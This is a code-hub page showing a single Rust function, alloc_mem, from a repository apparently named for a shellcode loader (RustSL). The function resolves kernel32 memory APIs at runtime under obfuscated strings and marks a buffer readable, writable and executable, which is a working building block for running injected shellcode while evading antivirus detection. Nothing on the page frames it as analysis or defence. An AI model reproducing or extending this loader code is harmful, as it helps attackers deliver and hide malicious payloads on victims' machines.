MCPcopy Create free account
hub / github.com/echQoQ/RustSL / alloc_mem

Function alloc_mem

src/alloc_mem/global.rs:3–32  ·  view source on GitHub ↗
(size: usize)

Source from the content-addressed store, hash-verified

1use crate::utils::{load_library, get_proc_address};
2use obfstr::{obfstr, obfbytes};
3pub unsafe fn alloc_mem(size: usize) -> Result<*mut u8, String> {
4 use core::ffi::c_void;
5
6 type GlobalAllocFn = unsafe extern "system" fn(u_flags: u32, dw_bytes: usize) -> *mut c_void;
7 type GlobalLockFn = unsafe extern "system" fn(h_mem: *mut c_void) -> *mut c_void;
8 type VirtualProtectFn = unsafe extern "system" fn(lp_address: *mut c_void, dw_size: usize, fl_new_protect: u32, lpfl_old_protect: *mut u32) -> i32;
9
10 let kernel32 = load_library(obfbytes!(b"kernel32.dll\0").as_slice())?;
11 let global_alloc: GlobalAllocFn = core::mem::transmute(get_proc_address(kernel32, obfbytes!(b"GlobalAlloc\0").as_slice())?);
12 let global_lock: GlobalLockFn = core::mem::transmute(get_proc_address(kernel32, obfbytes!(b"GlobalLock\0").as_slice())?);
13 let virtual_protect: VirtualProtectFn = core::mem::transmute(get_proc_address(kernel32, obfbytes!(b"VirtualProtect\0").as_slice())?);
14
15 let h_mem = global_alloc(0x0042, size);
16 if h_mem.is_null() {
17 return Err(obfstr!("GlobalAlloc failed").to_string());
18 }
19
20 let p = global_lock(h_mem);
21 if p.is_null() {
22 return Err(obfstr!("GlobalLock failed").to_string());
23 }
24
25 let mut old_protect = 0u32;
26 let ok = virtual_protect(p, size, 0x40, &mut old_protect);
27 if ok == 0 {
28 return Err(obfstr!("VirtualProtect failed").to_string());
29 }
30
31 Ok(p as *mut u8)
32}

Callers

nothing calls this directly

Calls 2

load_libraryFunction · 0.85
get_proc_addressFunction · 0.85

Tested by

no test coverage detected